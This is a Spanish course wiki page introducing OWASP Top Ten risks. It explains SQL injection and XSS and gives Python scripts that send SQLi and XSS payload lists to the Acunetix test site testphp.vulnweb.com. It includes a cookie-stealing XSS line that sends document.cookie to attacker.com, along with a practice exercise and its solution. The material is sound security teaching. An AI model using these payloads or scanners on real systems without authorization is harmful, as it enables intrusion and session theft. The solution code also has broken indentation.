La wiki de TempWin

Esta página es de solo lectura. Puedes ver la fuente pero no puedes cambiarla. Pregunta a tu administrador si crees que esto es incorrecto.
====== Introducción a la metodología OWASP ======

<WRAP center round box 80%>
Módulo perteneciente al curso [[informatica:programacion:cursos:python_avanzado_proyectos_seguridad|Python avanzado para proyectos de seguridad]]
</WRAP>

Uno de esto subproyectos es el **OWASP Top Ten Project**, donde se definen y se detallan los 10 riesgos más importantes a nivel de aplicaciones web.

Esta lista se va actualizando según el paso del tiempo y la variación de las técnicas y/o vulnerabilidades explotadas para tomar el control de una aplicación web o tener por ejemplo acceso no autorizado a recursos de bajo de esta aplicación. A continuación, se presentarán las vulnerabilidades más importantes y comunes en aplicación web del proyecto [[https://owasp.org/www-project-top-ten|OWASP Top Ten Project]]

Un proyecto interesante que ofrece OWASP es la aplicación open source **Zed Attack Proxy Project (ZAP)**, que nos permite realizar un análisis de todos los datos que se envían y que recibimos a la hora de realizar una navegación de un sitio web. La herramienta se puede descargar desde el repositorio de GitHub.

  * [[https://www.zaproxy.org/|Zed Attack Proxy Project (ZAP)]]
  * [[https://github.com/zaproxy/zaproxy/wiki/Downloads|Repositorio GitHub de ZAP]]

===== Inyección de comandos =====

La [[https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection|inyección de comandos]] es uno de los ataques más comunes en aplicaciones web en el cual, el atacante explota alguna **vulnerabilidad** del sistema para ejecutar comandos SQL, NoSQL o LDAP con el fin de acceder a datos de forma no autorizada.

Estas vulnerabilidades se pueden generar si no se hace una correcta validación y filtrado de los datos introducidos por el usuario, como podría ser por ejemplo en un campo de búsqueda dentro de la aplicación.

La vulnerabilidad relacionada se puede generar cuando no se hace una correcta verificación de los campos de entrada del usuario. El impacto que puede tener la inyección de comandos puede ser bastante grave ya que se podrían revelar datos confidenciales, modificar los datos almacenados o denegar acceso a ciertos recursos.

==== SQL Injection ====

Se puede dar el caso en el cual el usuario en vez de introducir un texto para realizar una búsqueda introduce una consulta o cualquier comando SQL. Si no se hace una correcta validación y filtrado de los datos introducidos en este campo de búsqueda, se podría concatenar la consulta o comando dañino a una consulta interna SQL o cualquier otro dialecto haciendo que el intérprete ejecute la consulta introducida por el atacante.

Un posible escenario de este tipo de ataques podría ser una aplicación que concatena datos no validados en una consulta SQL:

<code python>
String query = "SELECT * FROM tabla WHERE id='" + request.getParameter("id") + "'";
</code>

Como se puede ver, se concatena sin ningún tipo de verificación o filtrado del parámetro ''id'' introducido por el usuario. De manera que si un atacante introduce un comando SQL este sería ejecutado.

Un atacante podría introducir por ejemplo el parámetro ''id'' como ''' or '1'='1''. Esto haría que el sentido de la consulta cambie totalmente, devolviendo todos los registros de la tabla ya que la condición ''%%"1=1"%%'' siempre se cumple.

{{ :informatica:programacion:cursos:python_avanzado_proyectos_seguridad:sql_inyection.png |}}

Mediante un ataque por inyección de SQL exitoso, se puede leer información sensible desde la base de datos, modificar la información (Insert/Update/Delete), ejecutar operaciones de administración sobre la base de datos (por ejemplo, parar la base de datos), recuperar el contenido de un determinado archivo presente sobre el sistema de archivos del DBMS y, en algunos casos, emitir comandos al sistema operativo. Los ataques por inyección de SQL son un tipo de ataque de inyección, en el cual los comandos SQL se insertan en la entrada de datos, con la finalidad de efectuar la ejecución de comandos SQL predefinidos.

==== Cross-Site Scripting (XSS) ====

Este tipo de vulnerabilidad es el segundo más frecuente en aplicaciones web según el OWASP Top Ten. La explotación de este tipo de vulnerabilidades pretende ejecutar comandos en el navegador de la víctima para robar sus credenciales, obtener la sesión del usuario, instalar software en el equipo de la víctima o redirigir al usuario a sitios maliciosos.

Dentro de los posibles errores de XSS, podemos distinguir dos grandes **categorías**:

  * **No permanentes**: Esta categoría queda ilustrada con el caso que ahora se menciona. Nos encontramos con una página web que dispone de buscador, el cual, al introducir una palabra inventada o una cadena aleatoria de caracteres, muestra un mensaje del tipo: "No se han encontrado resultados para la búsqueda <texto>", donde ''<texto>'' es la cadena introducida en el campo de búsqueda. Si en la búsqueda, se introduce como ''<texto>'' el código JavaScript antes indicado, y de nuevo aparece la ventana de alerta, significa que la aplicación es vulnerable a XSS. La diferencia radica en que, en esta ocasión, los efectos de la acción no resultan permanentes.
  * **Permanentes**: Su denominación se debe al hecho de que, como mostraba el ejemplo, la ventana de alerta en JavaScript queda almacenada en algún lugar, habitualmente una base de datos SQL, y se muestra a cualquier usuario que visite nuestro perfil. Evidentemente, este tipo de fallos de XSS son mucho más peligrosos que los no permanentes.

Existen tres situaciones en las que un atacante puede conseguir un ataque exitoso con XSS:

  * **XSS Reflejado**: En este caso, el ataque puede ser exitoso si la aplicación hace uso de datos sin validar proporcionados por un usuario y codificados como parte de HTML o JavaScript de la aplicación.
  * **XSS Almacenado**: Este caso se puede dar cuando la aplicación almacena datos sin ser validados y filtrados y que posteriormente muestra al usuario. En este caso, el atacante puede conseguir almacenar datos maliciosos para que sean ejecutados cuando estos sean consultados por el usuario. Se considera de riesgo muy alto estas situaciones.
  * **XSS Basados en DOM**: En aplicación que hacen usado del framework de JavaScript DOM, el atacante puede conseguir controlar los datos que se intercambian dinámicamente en la página
      
Con este tipo de ataques, el impacto sobre el sistema puede ser alto, ya que el atacante podría conseguir desde el robo de la sesión del usuario, hasta la invasión de la autenticación. Un posible escenario podría ser el siguiente:

La aplicación hace uso de datos no confiable permitiendo que un atacante puede incrustar su propio código:

<code python>
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("creditcard") + "'>";
</code>

En este caso el atacante podría modificar el parámetro ''creditcard'' mediante el método GET y conseguir robar el identificar de la sesión del usuario.

<code html>
<script>document.location= 'http://www.attacker.com/cgibin/cookie.cgi?foo=' +document.cookie</script>
</code>

{{ :informatica:programacion:cursos:python_avanzado_proyectos_seguridad:xss.png |}}

  * [[https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)|OWASP Cross-Site_Scripting]]

===== OWASP Python Security Project =====

Se trata de un proyecto de código abierto que tiene como objetivo mostrar aquellas herramientas Python que facilitan a los desarrolladores y profesionales de la seguridad desarrollar aplicaciones más seguras antes posibles ataques.

  * [[https://www.owasp.org/index.php/OWASP_Python_Security_Project|OWASP Python Security Project]]

{{ :informatica:programacion:cursos:python_avanzado_proyectos_seguridad:owasp_python.png |}}

El proyecto OWASP ha sido diseñado para explorar cómo se pueden desarrollar aplicaciones web de forma segura, al abordar el problema desde varios puntos de vista diferentes: análisis de caja blanca y de caja negra, así como análisis estructural y funcional.

https://owasp.org/www-community/Free_for_Open_Source_Application_Security_Tools

===== Scripts en Python para detectar vulnerabilidades en sitios web =====

La lista de vulnerabilidades que se pueden encontrar en una aplicación web es amplia, desde //Cross-Site Scripting XSS// y hasta **inyección SQL**. El sitio web proporcionado por **[[http://www.vulnweb.com/|acunetix]]**, ofrece algunos sitios web que contienen algunas de las vulnerabilidades mencionadas, donde cada sitio está hecho con diferentes tecnologías en el lado del backend.

{{ :informatica:programacion:cursos:python_avanzado_proyectos_seguridad:vulnweb.png |}}

===== Script en Python para detectar SQL Injection =====

Una forma sencilla de identificar sitios web con la vulnerabilidad de inyección de SQL es añadir algunos caracteres a la URL, como comillas, comas o puntos. Por ejemplo, si detecta una URL con un sitio PHP donde está usando un parámetro para una búsqueda específica, puede intentar añadir un carácter especial en este parámetro.

Por ejemplo, la siguiente URL devuelve un error relacionado con la base de datos cuando intentamos utilizar un vector de ataque sobre el parámetro vulnerable:

{{ :informatica:programacion:cursos:python_avanzado_proyectos_seguridad:sql_injection.png |}}

  * [[http://testphp.vulnweb.com/listproducts.php?cat=%27|Dominio vulnerable SQL injection]]

Con Python podríamos construir un script que lea desde el fichero ''sql-attack-vector.txt'' posibles vectores de ataque sql y comprobar la salida como resultado de inyectar cadenas específicas.

<code>
" or "a"="a
" or "x"="x
" or 0=0 #
" or 0=0 --
" or 1=1 or ""="
" or 1=1--
"' or 1 --'"
") or ("a"="a
'
' (select top 1
' --
' ;
' UNION ALL SELECT
</code>

El objetivo del siguiente script es partir de una url donde identificamos el parámetro vulnerable y combinamos la url original con estos vectores de ataque. Puede encontrar el siguiente código en el archivo ''testing_url_sql_injection.py'':

<code python>
import requests

url = "http://testphp.vulnweb.com/listproducts.php?cat="

sql_payloads = []

with open('sql-attack-vector.txt', 'r') as filehandle:
    for line in filehandle:
        sql_payload = line[:-1]
        sql_payloads.append(sql_payload)

for payload in sql_payloads:
    print ("Testing "+ url + payload)
    response = requests.post(url+payload)
    
    if "mysql" in response.text.lower(): 
        print("Injectable MySQL detected,attack string: "+payload)
    elif "native client" in response.text.lower():
        print("Injectable MSSQL detected,attack string: "+payload)
    elif "syntax error" in response.text.lower():
        print("Injectable PostGRES detected,attack string: "+payload)
    elif "ORA" in response.text.lower():
        print("Injectable Oracle database detected,attack string: "+payload)
    else:
        print("Payload ",payload," not injectable")
</code>

En el script anterior, estamos leyendo de un archivo que contiene payloads de inyección SQL. Para cada uno de los payloads realizamos la petición en la url que estamos analizando con el objetivo de detectar la presencia de una cadena específica en la respuesta para verificar esta vulnerabilidad.

<code>
$ python3 test_url_sql_injection.py
Testing http://testphp.vulnweb.com/listproducts.php?cat=" or "a"="a
Injectable MySQL detected,attack string: " or "a"="a
Testing http://testphp.vulnweb.com/listproducts.php?cat=" or "x"="x
Injectable MySQL detected,attack string: " or "x"="x
Testing http://testphp.vulnweb.com/listproducts.php?cat=" or 0=0 #
Injectable MySQL detected,attack string: " or 0=0 #
Testing http://testphp.vulnweb.com/listproducts.php?cat=" or 0=0 --
Injectable MySQL detected,attack string: " or 0=0 --
...
</code>

Al ejecutar el script anterior, podemos ver que el parámetro ''cat'' es vulnerable a muchos ataques sql.

===== Script en Python para detectar Cross-Site Scripting XSS =====

Los errores XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar una secuencia de comandos en el navegador de la víctima, los cuales pueden obtener las sesiones de usuario o dirigir al usuario hacia un sitio malicioso.

Para probar si un sitio web es vulnerable a XSS, podríamos usar el siguiente script donde leemos de un archivo ''XSS-attack-vectors.txt'' que contiene posibles vectores de ataque que tienen como objetivo explotar dicha vulnerabilidad:

<code>
<SCRIPT>alert('XSS');</SCRIPT>
<script>alert('XSS');</script>
<BODY ONLOAD=alert('XSS')>
</code>

Puede encontrar el siguiente código en el archivo ''fuzzdb_xss.py'':

<code python>
import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer

xsspayloads = []

with open('XSS-attack-vectors.txt', 'r') as filehandle:
    for line in filehandle:
        xsspayload = line[:-1]
        xsspayloads.append(xsspayload)

#print(xsspayloads)

url = 'http://testphp.vulnweb.com/search.php?test=query'

data ={}
response = requests.get(url)

for payload in xsspayloads:
    for field in BeautifulSoup(response.text,"html.parser",parse_only=SoupStrainer('input')):
        print(field)
        if field.has_attr('name'):
            if field['name'].lower() == "submit":
                data[field['name']] = "submit"
            else:
                data[field['name']] = payload

    # Simulamos envío del formulario:
    response = requests.post(url, data=data)
    if payload in response.text:
        print("Payload "+ payload +" returned in the response")
</code>

En el script anterior, estamos leyendo un archivo que contiene payloads xss y estamos guardando estos payloads en un array llamado ''xsspayloads''. Posteriormente, usaremos la respuesta obtenida de realizar la petición al sitio web en combinación con el módulo **BeautifulSoup** para analizar los campos de entrada en la página del formulario.

==== Ejecución script Cross-Site Scripting XSS ====

Como resultado de ejecutar el script anterior, para cada payload que estamos probando, obtenemos el mismo payload útil en la respuesta de la petición, lo que indica que el sitio es vulnerable para esa cadena.

<code>
$ sudo python3 fuzzdb_xss.py
<input name="searchFor" size="10" type="text">
<input name="goButton" type="submit" value="go">
Payload <SCRIPT>alert('XSS');SCRIPT&gt; returned in the response
<input name="searchFor" size="10" type="text">
<input name="goButton" type="submit" value="go"/>
Payload '';!--<XSS>=&{()} returned in the response
...
</code>

Podemos comprobar esta vulnerabilidad en el sitio web inyectando en el campo de búsqueda alguno de los payloads que hemos utilizado en el script anterior:

{{ :informatica:programacion:cursos:python_avanzado_proyectos_seguridad:xss1.png |}}

Si ingresamos en el campo de búsqueda uno de los payloads, podemos ver que ejecuta el mismo código que inyectamos entre las etiquetas del script:

{{ :informatica:programacion:cursos:python_avanzado_proyectos_seguridad:xss2.png |}}
===== Actividad prática: Completar el código para desarrollar diferentes scripts con el objetivo de detectar vulnerabilidades del tipo XSS y sql injection en un sitio web. =====

**En el siguiente ejemplo usamos la técnica de ir probando diferentes payloads para detectar parámetros vulnerables en el sitio que estamos analizado.**

<code python>
import requests
import sys

#variables iniciales
url = "http://testphp.vulnweb.com/listproducts.php?cat="
initial = "'"

#añadir payloads de inyección xss
xss_injection_payloads = ["xxx"]

response = requests.xxx(xxx+xxx)
if "MySQL" in xxx.text or "You have an error in your SQL syntax" in xxx.text or "Syntax error" in xxx.text:
    print("site vulnerable to sql injection")
    for payload in xxx:
        response = requests.xxx(url+xxx)
        if payload in response.xxx:
            print("The parameter is vulnerable")
            print("Payload string: "+xxx+"\n")
            print(xxx.text)
</code>

**Sustituir las xxx por variables o clases definidas en el script.**

**En el código anterior, estamos probando que la página es vulnerable a la inyección de sql y estamos usando cargas útiles específicas para detectar la vulnerabilidad XSS en el sitio web ''%%http://testphp.vulnweb.com/listproducts.php?cat=%%''**

Al ejecutar el script la salida debería ser:

<code>
$ sudo python3 testing_xss_payloads.py

site vulnerable to sql injection
The parameter is vulnerable
Payload string: <SCRIPT&>alert('XSS');</SCRIPT>
</code>

==== Solución ====

<code python>
import requests
import sys

#variables iniciales
url = "http://testphp.vulnweb.com/listproducts.php?cat="
initial = "'"

#aÃ±adir payloads de inyecciÃ³n xss
xss_injection_payloads = ["<SCRIPT>alert('XSS');</SCRIPT>","<IMG SRC='javascript:alert('XSS');'>"]

response = requests.get(url+initial)
if "MySQL" in response.text or "You have an error in your SQL syntax" in response.text or "Syntax error" in response.text:
    print("site vulnerable to sql injection")
    for payload in xss_injection_payloads:
    	response = requests.get(url+payload)
	if payload in response.text:
	    print("The parameter is vulnerable")
	    print("Payload string: "+payload+"\n")
	    print(response.text)
</code>